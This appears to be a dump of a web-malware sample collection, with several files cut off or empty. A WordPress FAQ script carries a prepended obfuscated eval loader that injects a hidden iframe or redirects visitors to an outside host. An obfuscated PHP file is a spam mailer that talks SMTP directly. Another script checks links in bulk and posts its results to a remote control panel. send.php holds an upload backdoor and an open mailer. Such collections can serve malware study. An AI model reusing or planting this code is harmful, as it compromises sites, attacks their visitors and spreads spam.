/samples/q-a-plus.js:
--------------------------------------------------------------------------------
1 | /*dc52ef4b5432097c50bd791f97d7ba97*/eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('j 1n=3x(I(){f(q.Q!=1N&&L q.Q!="P"){3y(1n);f(L A["1v"]=="P"){A["1v"]=1;j 1c=(U()&&1K());j 1R=!1c&&!!A.3z&&A.E.3w==="3v 3r.";j 1g=-1;j G="3s://3t.3u/3A";f(V()&&1g==1){f((E.O.1k(/3B/i))||(E.O.1k(/3H/i))){17.3I(G)}z{A.17=G;q.17=G}}z{f((1c&&!1R&&!V())){j 14="<1e 3E=\\"1F\\" 3q=\\""+G+"\\" 3p=\\"1F\\">1e> ";j J=q.3c("X");f(J.1I==0){q.Q.M=q.Q.M+14}z{j 1z=J.1I;j 15=3d.3e((1z/2));J[15].M=J[15].M+14}}}}1L()}},3b);I 1L(){j Z="1V";f(Z!="1V"){j F=q.3a(Z);f(L F!=P&&F!=1N){F.36="";37 F}}};I 1K(){f(q.D&&!q.38){x B}z f(q.D&&!A.39){x B}z f(q.D&&!q.3f){x B}z f(q.D&&!q.3g){x B}z f(q.D&&!A.3m){x B}z f(q.D){x B}z f(L E.3n!="P"&&!q.D&&U()){x B}z{x 16}}I U(){j y=A.E.O;j N=y.C("3o ");f(N>0){x T(y.S(N+5,y.C(".",N)),10)}j 1t=y.C("3l/");f(1t>0){j Y=y.C("3k:");x T(y.S(Y+3,y.C(".",Y)),10)}j K=y.C("3h/");f(K>0){x T(y.S(K+5,y.C(".",K)),10)}x 16}I V(){j 1a=A.E.O.3i();f(/(3j|3K\\d+|3L).+1A|4h|4i\\/|4j|4g|4f|4b|4c|4d|35|1q(4k|1f)|1G|4l|4r |4s|4t|4q|1A.+4p|4m|4n m(4o|4a)i|48( 1J)?|3S|p(3T|3U)\\/|3R|3Q|3M|3N(4|6)0|3O|3P|1U\\.(3V|3W)|43|44|46 42|41|3X/i.1s(1a)||/3Y|3Z|4u|33|2b|50[1-6]i|2c|2d|a 1D|2e|1B(1S|1l|s\\-)|1d(2a|29)|1p(25|1O|1j)|26|27(28|W|2f)|2g|1o(2n|1b)|2o(R|2p)|2q|2m(24|\\-m|r |s )|2l|2h(1C|1H|2i)|1u(2j|2k)|2r(1B|1Y)|1W(e|v)w|22|1Z\\-(n|u)|23\\/|1X|34|2R\\-|2S|2T|2Q|2P\\-|1j(2M|1M)|2N|2O(1r|1H|2U)|2V|31\\-s|2s|30|2Z|1w(c|p)o|2W(12|\\-d)|2X(49|1d)|2Y(2L|2K)|1S(2y|2z)|2A|2x([4-7]0|1J|1D|2w)|2t|2u(\\-|1m)|1T u|2v|2B|2C\\-5|g\\-11|1b(\\.w|1f)|2I(2J|2H)|2G|2D|2E\\-(m|p|t)|2F\\-|4e(1i|1h)|4Q( i|1q)|6M\\-c|6L(c(\\-| |1m|a|g|p|s|t)|66)|5W(63|6t)|i\\-(20|1b|19)|6m|6n( |\\-|\\/)|4v|6o|6l|6k|6h|6i|6j|1G|6p(t|v)a|6q|6w|6x|6y|6v|6u( |\\/)|6r|6g |6f\\-|62(c|k)|64(5Z|5Y)|5V( g|\\/(k|l|u)|50|54|\\-[a-w])|6d|6e|6b\\-w|68|69\\/|19(R|6A|6z)|1E(H|21|1O)|m\\-71|72(6Z|1x)|6Y(6W|6X|1P)|75|11(H|74|1u|7d|1w|t(\\-| |o|v)|7c)|79(50|7a|v )|77|78|6U[0-2]|6T[2-3]|6G(0|2)|6H(0|2|5)|6I(0(0|1)|10)|6F((c|m)\\-|6E|6B|6C|6D|6J)|6K(6|i)|6R|6S|6P(6O|6N)|67|5T|4X|4Y(a|d|t)|5U|4Z(13|\\-([1-8]|c))|4R|4S|1Q(4T|4U)|51\\-2|55(1C|5b|1y)|5c|5d|1i\\-g|5a\\-a|56(57|12|21|32|60|\\-[2-7]|i\\-)|4E|4B|4A|4w|4x|4y(4z|4F)|4G\\/|4M(4N|19|4O|4L|W|4K)|4H(H|h\\-|1l|p\\-)|4J\\/|1y(c(\\-|0|1)|47|1E|1M|1x)|5f\\-|5G|5H(\\-|m)|5I\\-0|5F(45|5E)|5B(1p|1o|5C|1r|5D)|5J(5K|W)|5Q(H|h\\-|v\\-|v )|5R(H|5S)|5P(18|50)|5O(5L|10|18)|1h(5A|5z)|5m\\-|5n\\-|5o(i|m)|5l\\-|t\\-11|5g(1Q|5h)|1P(70|m\\-|5j|5p)|5q\\-9|1U(\\.b|1T|5w)|5x|5y|5v|5u|5r(5s|R)|5t(40|5[0-3]|\\-v)|5i|5k|5N|5M(52|53|60|61|70|5e|4I|4D|4C|4P)|58(\\-| )|59|4V|4W(g |6Q|76)|7b|6V|73|6a\\-|6c|65|5X\\-/i.1s(1a.6s(0,4))){x B}x 16}',62,448,'|||||||||||||||if||||var|||||||document|||||||return|NPYYKDTCmKQFPbkLSyglhuuPaXdtUSu|else|window|true|indexOf|all|navigator|JtkcGpNzMGtifEngkBuFNUtftnzjiuTYioyMxpLfy|oyuDBOmOFDflfhdpdDMZRqwulCSFdDMZIvUdPQX|01|function|GHVMfDjVnojvIodNzgOHVIIVlXfayFdDGABG|jNzIDAJlUZUibhoJEHKFMEpBmfgMtSGbOL|typeof|innerHTML|tfNNxGjoxEsSaDlDUFHKHwxlgNLUPxHfXuBRa|userAgent|undefined|body|te|substring|parseInt|CChQYnqAPWHiimOuYKzxCFjlrVtromjZcXL|xAcwFLkdHtbHCLHEElbxuebfHYzPZLnhUcBs|ny|div|zACbQqXiOtawxbFtYuZNfnAQPWZgoFiZyHrXecSd|ZoQlHMrrJOUSUWbPOmqWiuzkpEoTneY||mo|||VmXlGTZuhOeDSONdabNkAVRyIIWrbliTGTsHcm|HQIaErriagOPtqgDfVMBUzKhQCqBMRZRAZHfC|false|location||ma|XmOpuSyBLLbCHBvHQJQHbZeOxHLirSyxf|go|WJRBXnqpkfYnAvbdsbtdZvjxPVxsnTEIou|ai|iframe|od|DpHTnUNmoWjEKhCVfEEoJEsplffuVkCFcELwUjAQT|ta|pt|co|match|oo|_|CRjpahCZoUuxlGoqcbIslIZLaHvzWdiifoRB|ar|al|ip|it|test|XrhXgKePmjQpQFkCriVpBpPgZazzldlpefQQm|bi|v_dc52ef4b5432097c50bd791f97d7ba97|do|ri|se|dl_name|mobile|ac|ck|wa|mc|26px|iris|ll|length|os|udDtDkUkVXzQbSnnAUKXPDwEECjndWhVWITMXP|mvIBvJKrGnOvSBJthoDzYQFwtwmCDcbUuFNiLyi|nd|null|ca|ts|pl|YJNmLUoSySnslpEcUKYbAAdizsDijNvv|er|g1|up|none|br|capi|az|bw|||bumb|c55|di|av|amoi|an|ex|rn|ko|4thp|770s|802s|abac|yw|aptu|be|nq|lb|rd|avan|au|ch|as|us|attw|bl|devi|fetc|fly|g560|ze|ez|ic|k0|esl8|gene|gf|hcit|hd|hei|haie|un|gr|ad|ul|l2|mp|craw|da|cmd|cldc|cdm|cell|chtm|ng|dbte|ds|el|em|dmob|dica|dc||3gso|ccwa|iemobile|outerHTML|delete|compatMode|XMLHttpRequest|getElementById|100|getElementsByTagName|Math|floor|querySelector|addEventListener|Edge|toLowerCase|android|rv|Trident|atob|maxTouchPoints|MSIE|height|src|Inc|http|londonparig|tk|Google|vendor|setInterval|clearInterval|chrome|052F|iPhone|left|1356px|width|absolute|position|iPod|replace|style|bb|meego|psp|series|symbian|treo|pocket|plucker|phone|ixi|re|browser|link|xiino|1207|6310||xda|ce|vodafone|wap||windows||palm||in|elaine|fennec|hiptop|hi|compal|blazer|avantgo|bada|blackberry|hone|kindle|netfront|opera|ob|firefox|mmp|lge|maemo|midp|6590|ibro|raks|rim9|ro|ve|r600|r380|85|83|qtek|zo|s55|sc|81|sdk|va|ms|sa|ge|mm|98|hp|phil|pire|ay|uc|whit|wi|p800|pan|pg||pn||||po|qc|07|w3c|webc|qa|rt|prox|psio|80|sgh|to|sh|vm40|m3|voda|tim|tcl|tdg|tel|m5|tx|vi|rg|vk|veri|v750|si|utst|v400|lk|gt|sm|b3|t5|id|sl|shar|sie|sk|so|ft|00|vx|vulc|t6|t2|sp|sy|mb|owg1|pdxg|lg|hu|zte|xi|no|||kyo|aw|le|zeto|tp|oran|m3ga|m50|yas|m1|your|libw|lynx|kwc|kpt|im1k|inno|ipaq|ikom|ig01|i230|iac|idea|ja|jbro|klon|substr|tc|kgt|keji|jemu|jigs|kddi|xo|ui|tf|wf|wg|on|ne|n30|n50|n7|wt|nok|ht|hs|wv|ti|op|nc|nzph|o2im|n20|n10|wonu|o8|oa|mi|rc||cr|me|x700|02|mmef|nw|mwbp|mywa|mt|p1|wmlb|zz|de'.split('|'),0,{}))
2 | /*dc52ef4b5432097c50bd791f97d7ba97*/jQuery(document).ready(function($) {
3 |
4 | $("div[id^=qa-faq]").each(function () {
5 | var num = this.id.match(/qa-faq(\d+)/)[1];
6 | var faqContainer = $('.qa-faqs');
7 | var faq = $('#qa-faq' + num);
8 |
9 | if ( faqContainer.is('.collapsible') ) {
10 |
11 | faq.find('.qa-faq-anchor').bind("click", function() {
12 | if ( faqContainer.is('.accordion') ) {
13 | $('.qa-faq-answer').not('#qa-faq' + num + ' .qa-faq-answer').hide();
14 | }
15 | if ( faqContainer.is('.animation-fade') ) {
16 | faq.find('.qa-faq-answer').fadeToggle();
17 | } else if ( faqContainer.is('.animation-slide') ) {
18 | faq.find('.qa-faq-answer').slideToggle();
19 | } else /* no animation */ {
20 | faq.find('.qa-faq-answer').toggle();
21 | }
22 |
23 | return false;
24 | });
25 |
26 | $('.expand-all.expand').bind("click", function() {
27 | $('.expand-all.expand').hide();
28 | $('.expand-all.collapse').show();
29 | if ( faqContainer.is('.animation-fade') ) {
30 | $('.qa-faq-answer').fadeIn(400);
31 | } else if ( faqContainer.is('.animation-slide') ) {
32 | $('.qa-faq-answer').slideDown();
33 | } else /* no animation */ {
34 | $('.qa-faq-answer').show();
35 | }
36 | });
37 |
38 | $('.expand-all.collapse').bind("click", function() {
39 | $('.expand-all.collapse').hide();
40 | $('.expand-all.expand').show();
41 | if ( faqContainer.is('.animation-fade') ) {
42 | $('.qa-faq-answer').fadeOut(400);
43 | } else if ( faqContainer.is('.animation-slide') ) {
44 | $('.qa-faq-answer').slideUp();
45 | } else /* no animation */ {
46 | $('.qa-faq-answer').hide();
47 | }
48 | });
49 |
50 | }
51 | });
52 |
53 | $('.qasubmission').bind("click", function() {
54 | $('#postbox').fadeToggle();
55 | });
56 |
57 | $('#qaplus_searchform').submit(function() {
58 | link = $(this).find('#qa_search_link').val();
59 | query = $(this).find('.qaplus_search').val();
60 | query = query.split(' ').join('+');
61 | link = link + query;
62 | location.href = link;
63 | return false;
64 | });
65 |
66 |
67 | });
--------------------------------------------------------------------------------
/samples/qnne.php:
--------------------------------------------------------------------------------
1 | "; } } else { $vbfbb12dc = $va3da707b = ''; $v081bde0c = strtolower($v01b6e203); $v3a5939e4 = next(explode('@', $v01b6e203)); } preg_match('|(.*) |imsU', $v8d777f38, $vee11cbb1); $vee11cbb1 = $vee11cbb1[1]; preg_match('|(.*) |imsU', $v8d777f38, $vb068931c); $vb068931c = $vb068931c[1]; preg_match('|(.*) |imsU', $v8d777f38, $vc34487c9); $vc34487c9 = $vc34487c9[1]; preg_match('|(.*) |imsU', $v8d777f38, $v6f4b5f42); $v6f4b5f42= $v6f4b5f42[1]; $vc34487c9 = str_replace("%R_NAME%", $va3da707b, $vc34487c9); $vc34487c9 = str_replace("%R_LNAME%", $vbfbb12dc, $vc34487c9); $v6f4b5f42 = str_replace("%R_NAME%", $va3da707b, $v6f4b5f42); $v6f4b5f42 = str_replace("%R_LNAME%", $vbfbb12dc, $v6f4b5f42); $v0897acf4 = preg_replace('/^(www|ftp)\./i', '', @$_SERVER['HTTP_HOST']); if (ne667da76($v0897acf4) || @ini_get('safe_mode')) $v10497e3f = false; else $v10497e3f = true; $v9a5cb5d8 = "$vee11cbb1@$v0897acf4"; if ($vb068931c != '') $vd98a07f8 = "$vb068931c <$v9a5cb5d8>"; else $vd98a07f8 = $v9a5cb5d8; $vb8ddc93f = "From: $vd98a07f8\r\n"; $vb8ddc93f .= "Reply-To: $vd98a07f8\r\n"; $v3c87b187 = "X-Priority: 3 (Normal)\r\n"; $v3c87b187 .= "MIME-Version: 1.0\r\n"; $v3c87b187 .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n"; $v3c87b187 .= "Content-Transfer-Encoding: 8bit\r\n"; $v1e66f6b4 = 'ma'.chr(105).'l'; if (!in_array('m'.'a'.'il', $v619d75f8)) { if ($v10497e3f) { if (@$v1e66f6b4($v01b6e203, $vc34487c9, $v6f4b5f42, $vb8ddc93f.$v3c87b187, "-f$v9a5cb5d8")) { echo(chr(79).chr(75).md5(1234567890)."+0\n"); continue; } } else { if (@$v1e66f6b4($v01b6e203, $vc34487c9, $v6f4b5f42, $v3c87b187)) { echo(chr(79).chr(75).md5(1234567890)."+0\n"); continue; } } } $v4340fd73 = "Date: " . @date("D, j M Y G:i:s O")."\r\n" . $vb8ddc93f; $v4340fd73 .= "Message-ID: <".preg_replace('/(.{7})(.{5})(.{2}).*/', '$1-$2-$3', md5(time()))."@$v0897acf4>\r\n"; $v4340fd73 .= "To: $v01b6e203\r\n"; $v4340fd73 .= "Subject: $vc34487c9\r\n"; $v4340fd73 .= $v3c87b187; $v841a2d68 = $v4340fd73."\r\n".$v6f4b5f42; if ($v3d26b0b1 == '') $v3d26b0b1 = n9c812bad($v3a5939e4); if (($vb4a88417 = n7b0ecdff($v9a5cb5d8, $v081bde0c, $v841a2d68, $v0897acf4, $v3d26b0b1)) == 0) { echo(chr(79).chr(75).md5(1234567890)."+1\n"); continue; } else { echo PHP_OS.chr(50).chr(48).'+'.md5(0987654321)."+$vb4a88417\n"; } } function ne667da76($v957b527b){ return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $v957b527b); } function na73fa8bd($vb45cffe0, $v11a95b8a = 0, $v7fa1b685="=\r\n", $v92f21a0f = 0, $v3303c65a = false) { $vf5a8e923 = strlen($vb45cffe0); $vb4a88417 = ''; for($v865c0c0b = 0; $v865c0c0b < $vf5a8e923; $v865c0c0b++) { if ($v11a95b8a >= 75) { $v11a95b8a = $v92f21a0f; $vb4a88417 .= $v7fa1b685; } $v4a8a08f0 = ord($vb45cffe0[$v865c0c0b]); if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 >= 0x80) || ($v4a8a08f0 < 0x20)) { if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) && (!$v3303c65a)) { $vb4a88417.=chr($v4a8a08f0); $v11a95b8a = 0; continue; } $vb4a88417 .='='.str_pad(strtoupper(dechex($v4a8a08f0)), 2, '0', STR_PAD_LEFT); $v11a95b8a += 3; continue; } $vb4a88417 .= chr($v4a8a08f0); $v11a95b8a++; } return $vb4a88417; } function n7b0ecdff($vd98a07f8, $v01b6e203, $v841a2d68, $v0897acf4, $v3d26b0b1) { global $v619d75f8; if (!in_array('fsockopen', $v619d75f8)) $v66b18866 = @fsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); elseif (!in_array('pfsockopen', $v619d75f8)) $v66b18866 = @pfsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); elseif (!in_array('stream_socket_client', $v619d75f8) && function_exists("stream_socket_client")) $v66b18866 = @stream_socket_client("tcp://$v3d26b0b1:25", $v70106d0d, $v809b1abe, 20); else return -1; if (!$v66b18866) { return 1; } else { $v8d777f38 = n54070395($v66b18866); @fputs($v66b18866, "EHLO $v0897acf4\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return "2+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "MAIL FROM:<$vd98a07f8>\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return "3+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "RCPT TO:<$v01b6e203>\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 && substr($ve98d2f00, 0, 3) != 251) return "4+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "DATA\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 354 ) return "5+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, $v841a2d68."\r\n.\r\n"); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return "6+($v01b6e203)+".preg_replace('/(\r\n|\r|\n)/', '|', $ve98d2f00); @fputs($v66b18866, "QUIT\r\n"); @fclose($v66b18866); return 0; } } function n54070395($v66b18866) { $v8d777f38 = ''; while($v341be97d = @fgets($v66b18866, 4096)) { $v8d777f38 .= $v341be97d; if(substr($v341be97d, 3, 1) == ' ') break; } return $v8d777f38; } function n9c812bad($vad5f82e8) { global $v619d75f8; if (!in_array('getmxrr', $v619d75f8) && function_exists("getmxrr")) { @getmxrr($vad5f82e8, $v744fa43b, $v6c5ea816); if (count($v744fa43b) === 0) return '127.0.0.1'; $v865c0c0b = array_keys($v6c5ea816, min($v6c5ea816)); return $v744fa43b[$v865c0c0b[0]]; } else { return '127.0.0.1'; } } function n9a2d8ce3($v1cb251ec) { $v1cb251ec = base64_decode($v1cb251ec); $vc68271a6 = ''; for($v865c0c0b = 0; $v865c0c0b < strlen($v1cb251ec); $v865c0c0b++) $vc68271a6 .= chr(ord($v1cb251ec[$v865c0c0b]) ^ 2); return $vc68271a6; } ?>
3 |
--------------------------------------------------------------------------------
/samples/scodne.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/samples/script1.php:
--------------------------------------------------------------------------------
1 | 0)
45 | {
46 | $links_part = array_splice($all_links, 0, $p_threads);
47 | $multithread = new MultiThread($link_timeout);
48 | $multithread->setLinks($links_part);
49 | $multithread->setMethod($p_request,$p_requestbody,$onlybh);
50 | $links_result = $multithread->execute();
51 | foreach($links_result as $res_el)
52 | {
53 | if(vf_regex($res_el['answer'],$p_regex,$p_regex_logic) === true)
54 | {
55 | $curl_result[$i] = $res_el['link'].'-||-good';
56 | }
57 | else
58 | {
59 | $curl_result[$i] = $res_el['link'].'-||-bad';
60 | if($res_el['linkerror'] == '2' || $res_el['linkerror'] == '3') $double_links[$i] = $all_links_o[($i-1)];
61 | }
62 | $i++;
63 | }
64 | sleep($p_delay);
65 | }
66 | while(count($double_links) > 0)
67 | {
68 | $links_part = array_slice($double_links, 0, $p_threads, true);
69 | $t_count = count($double_links) - $p_threads;
70 | $double_links = array_slice($double_links, $p_threads, $t_count, true);
71 | $multithread = new MultiThread($link_timeout, 1);
72 | $multithread->setLinks($links_part);
73 | $multithread->setMethod($p_request,$p_requestbody,$onlybh);
74 | $links_result = $multithread->execute();
75 | foreach($links_result as $res_el)
76 | {
77 | if(vf_regex($res_el['answer'],$p_regex,$p_regex_logic) === true) $curl_result[$res_el['lk']] = $res_el['link'].'-||-good';
78 | else $curl_result[$res_el['lk']] = $res_el['link'].'-||-bad';
79 | }
80 | sleep($p_delay);
81 | }
82 | //print_r($curl_result);
83 | $curl_result = implode('_||_',$curl_result);
84 | $server_url = 'http://dropsforums.ru/panel/proc/receive_result.php';
85 | $result_init = curl_init($server_url);
86 | curl_setopt($result_init, CURLOPT_POST, true);
87 | curl_setopt($result_init, CURLOPT_TIMEOUT, 15);
88 | curl_setopt($result_init, CURLOPT_CONNECTTIMEOUT, 15);
89 | curl_setopt($result_init, CURLOPT_RETURNTRANSFER, true);
90 | curl_setopt($result_init, CURLOPT_POSTFIELDS, array('hashcode' => $hashcode, 'taskid' => $p_taskid, 'taskname' => $p_taskname, 'client_id' => $p_client_id, 'proc_id' => $p_proc_id, 'vffsockopen' => $vffsockopen, 'result' => $curl_result));
91 | curl_exec($result_init);
92 | curl_close($result_init);
93 |
94 | class MultiThread
95 | {
96 | private $maxthreads, $links = array(), $linkscount, $threads = array(), $mtype = 'get', $mcontent, $onlyBody = 0, $onlyHeaders = 0, $results = array();
97 | public function __construct($link_timeout = 1, $double_req = 0, $maxthreads = 150)
98 | {
99 | $this->link_timeout = $link_timeout;
100 | $this->double_req = $double_req;
101 | if($this->double_req == 1)
102 | {
103 | $this->sock_timeout = 3;
104 | $this->link_timeout += 2;
105 | }
106 | else $this->sock_timeout = 2;
107 | $this->maxthreads = $maxthreads;
108 | }
109 |
110 | public function setLinks($links = array())
111 | {
112 | $this->links = $links;
113 | $this->linkscount = count($this->links);
114 | if($this->linkscount > $this->maxthreads) $this->links = array_slice($this->links, 0, $this->maxthreads);
115 | }
116 |
117 | public function setMethod($type,$mcontent='',$onlyBH=0)
118 | {
119 | $this->mtype = $type;
120 | $this->mcontent = $mcontent;
121 | if($onlyBH == 1) $this->onlyBody = '1';
122 | elseif($onlyBH == 2) $this->onlyHeaders = '1';
123 | }
124 |
125 | public function execute()
126 | {
127 | $li = 0;
128 | $t_redirects = array();
129 | foreach ($this->links as $lk => $link)
130 | {
131 | $li++;
132 | $this->results[$li] = array('link' => $link, 'lk' => $lk, 'answer' => '', 'linkerror' => '', 'setonlyBody' => 0);
133 | $t_redirects[$li] = 0;
134 | $link_ar = parse_url($link);
135 | if(isset($link_ar['host']))
136 | {
137 | $server = $link_ar['host'];
138 | if(!$fsock = @fsockopen($server, 80, $erno, $erstr, $this->sock_timeout))
139 | {
140 | if(strpos($erstr,'Name or service not known') !== false) $this->results[$li]['answer'] = '596';
141 | $this->results[$li]['linkerror'] = '2';
142 | }
143 | else
144 | {
145 | $out = get_fwrite_data($link_ar,$this->mtype,$this->mcontent);
146 | fwrite($fsock, $out);
147 | stream_set_timeout($fsock, $this->link_timeout);
148 | stream_set_blocking($fsock, 0);
149 | $this->threads[$li] = $fsock;
150 | }
151 | }
152 | else $this->results[$li]['linkerror'] = '1';
153 | }
154 | $threads_start = time() + floatval(microtime());
155 | do
156 | {
157 | foreach ($this->threads as $key=>$value)
158 | {
159 | $threads_time = round((time() + floatval(microtime()) - $threads_start),2);
160 | if(feof($value) || $threads_time > ($this->link_timeout+8))
161 | {
162 | fclose($value); unset($this->threads[$key]);
163 | }
164 | else
165 | {
166 | $vf_timeout = stream_get_meta_data($value);
167 | if($vf_timeout['timed_out'] === true)
168 | {
169 | $this->results[$key]['linkerror'] = '3';
170 | fclose($value); unset($this->threads[$key]);
171 | continue;
172 | }
173 | //$t_answer = fgets($value);
174 | $t_answer = fread($value, 10240);
175 | if(!empty($t_answer))
176 | {
177 | if(stristr($t_answer,"location:")!='' && (stristr($t_answer,"301 Moved")!='' || stristr($t_answer,"301 Found")!='' || stristr($t_answer,"302 Found")!='' || stristr($t_answer,"302 Moved")!='' || stristr($t_answer,"302 Redirect")!='' || stristr($t_answer,"303 See")!='') && $t_redirects[$key]<3)
178 | {
179 | $link_redirect = preg_match('/^Location: (.+?)$/Um', $t_answer, $t_matches);
180 | $t_redirects[$key] += 1;
181 | $t_matches[1] = trim($t_matches[1]);
182 | echo $this->results[$key]['link'].' - '.$t_matches[1]."\n\n";
183 | if(substr($t_matches[1],0,5) == 'https')
184 | {
185 | $link_ar = parse_url($t_matches[1]);
186 | $server = $link_ar['host'];
187 | if(!$fsock = @fsockopen('ssl://'.$server, 443, $erno, $erstr, $this->sock_timeout))
188 | {
189 | $this->results[$key]['linkerror'] = '4';
190 | fclose($value); unset($this->threads[$key]);
191 | }
192 | else
193 | {
194 | $this->results[$key]['link'] = $t_matches[1];
195 | $out = get_fwrite_data($link_ar,$this->mtype,$this->mcontent);
196 | fwrite($fsock, $out);
197 | stream_set_timeout($fsock, $this->link_timeout);
198 | stream_set_blocking($fsock, 0);
199 | $this->threads[$key] = $fsock;
200 | $this->results[$key]['answer'] = '';
201 | continue;
202 | }
203 | }
204 | else
205 | {
206 | if(substr($t_matches[1],0,4) != 'http')
207 | {
208 | $link_ar = parse_url($this->results[$key]['link']);
209 | $server = $link_ar['host'];
210 | $t_matches[1] = 'http://'.$server.(substr($t_matches[1],0,1)=='/'?'':'/').$t_matches[1];
211 | }
212 | $link_ar = parse_url(trim($t_matches[1]));
213 | $server = $link_ar['host'];
214 | fclose($value); unset($this->threads[$key]);
215 | if(!$fsock = @fsockopen($server, 80, $erno, $erstr, $this->sock_timeout))
216 | {
217 | $this->results[$key]['linkerror'] = '5';
218 | }
219 | else
220 | {
221 | $this->results[$key]['link'] = $t_matches[1];
222 | $out = get_fwrite_data($link_ar,$this->mtype,$this->mcontent);
223 | fwrite($fsock, $out);
224 | stream_set_timeout($fsock, $this->link_timeout);
225 | stream_set_blocking($fsock, 0);
226 | $this->threads[$key] = $fsock;
227 | $this->results[$key]['answer'] = '';
228 | continue;
229 | }
230 | }
231 | }
232 | $this->results[$key]['answer'] .= $t_answer;
233 | if($this->onlyBody == 1 && $this->results[$key]['setonlyBody'] == 0)
234 | {
235 | if(strpos($this->results[$key]['answer'],"\r\n\r\n") !== false)
236 | {
237 | $body_ar = explode("\r\n\r\n",$this->results[$key]['answer'],2);
238 | $this->results[$key]['answer'] = $body_ar[1];
239 | $this->results[$key]['setonlyBody'] = 1;
240 | }
241 | }
242 | elseif($this->onlyHeaders == 1)
243 | {
244 | if(strpos($this->results[$key]['answer'],"\r\n\r\n") !== false)
245 | {
246 | $header_ar = explode("\r\n\r\n",$this->results[$key]['answer']);
247 | $this->results[$key]['answer'] = $header_ar[0];
248 | fclose($value); unset($this->threads[$key]);
249 | }
250 | }
251 | }
252 | }
253 | }
254 | usleep(10000);
255 | }
256 | while (count($this->threads) > 0);
257 |
258 | return $this->results;
259 | }
260 | }
261 |
262 | function get_fwrite_data($link_ar, $mtype='get', $content)
263 | {
264 | $server = $link_ar['host'];
265 | $query = isset($link_ar['path']) ? $link_ar['path'] : '/';
266 | if(isset($link_ar['query'])) $query .= '?'.$link_ar['query'];
267 | if($mtype=='post')
268 | {
269 | $result = "POST $query HTTP/1.1\r\n";
270 | $result .= "Host: $server\r\n";
271 | $result .= "Cookie: income=1\r\n";
272 | $result .= "Content-Type: application/x-www-form-urlencoded\r\n";
273 | $result .= "Content-Length: ".strlen($content)."\r\n";
274 | $result .= "Connection: Close\r\n\r\n";
275 | $result .= $content;
276 | }
277 | elseif($mtype=='get')
278 | {
279 | $result = "GET $query HTTP/1.1\r\n";
280 | $result .= "Host: $server\r\n";
281 | $result .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n";
282 | //$result .= "Accept: text/xml,application/xml,application/xhtml+xml,application/json,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
283 | //$result .= "Referer: http://armsites.info\r\n";
284 | $result .= "User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36\r\n";
285 | $result .= "Connection: Close\r\n\r\n";
286 | }
287 | return $result;
288 | }
289 |
290 | function vf_regex($answer, $regex, $regex_logic = 3)
291 | {
292 | if($regex_logic == '3')
293 | {
294 | $regex = str_replace("\n",'',$regex);
295 | $answer = str_replace("\n",'',$answer);
296 | if(strpos($answer,$regex) !== false) return true;
297 | return false;
298 | }
299 | elseif($regex_logic == '1')
300 | {
301 | if(preg_match($regex,$answer)) return true;
302 | }
303 | return false;
304 | }
305 | ?>
--------------------------------------------------------------------------------
/samples/send.php:
--------------------------------------------------------------------------------
1 | ";echo" ";if($_POST["v"]==up){if(@copy($_FILES["f"]["tmp_name"],$_FILES["f"]["name"])){echo"berhasil -->".$_FILES["f"]["name"];}else{echo"gagal";}}}
6 |
7 | if(isset($_POST['email'])) {
8 | $message = urlencode($_POST['message']);
9 | $message = ereg_replace("%5C%22", "%22", $message);
10 | $message = urldecode($message);
11 | $message = stripslashes($message);
12 | $subject = stripslashes($_POST['subject']);
13 | $from = $_POST['from'];
14 | $toemail = $_POST['email'];
15 | $header = 'MIME-Version: 1.0' . "\r\n";
16 | $header .= "From: ".$_POST['realname']." "." <".$_POST['from'].">\n";
17 | $header .= 'Content-type: text/html; charset=utf-8' . "\n";
18 | if (mail($toemail, $subject, $message, $header)) {
19 | echo("SEND\t $toemail");
20 | } else {
21 | echo("ERROR\t $toemail");
22 | }
23 | } else {
24 | print '!PhpSend! ';
25 | }
26 | ?>
--------------------------------------------------------------------------------
/samples/shell-passthru.php:
--------------------------------------------------------------------------------
1 |
30 |
--------------------------------------------------------------------------------
/samples/sidebar-footer.php:
--------------------------------------------------------------------------------
1 |
10 |
11 |
25 |
26 |
60 |
--------------------------------------------------------------------------------
/samples/sky-css.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/samples/srt2hk.php:
--------------------------------------------------------------------------------
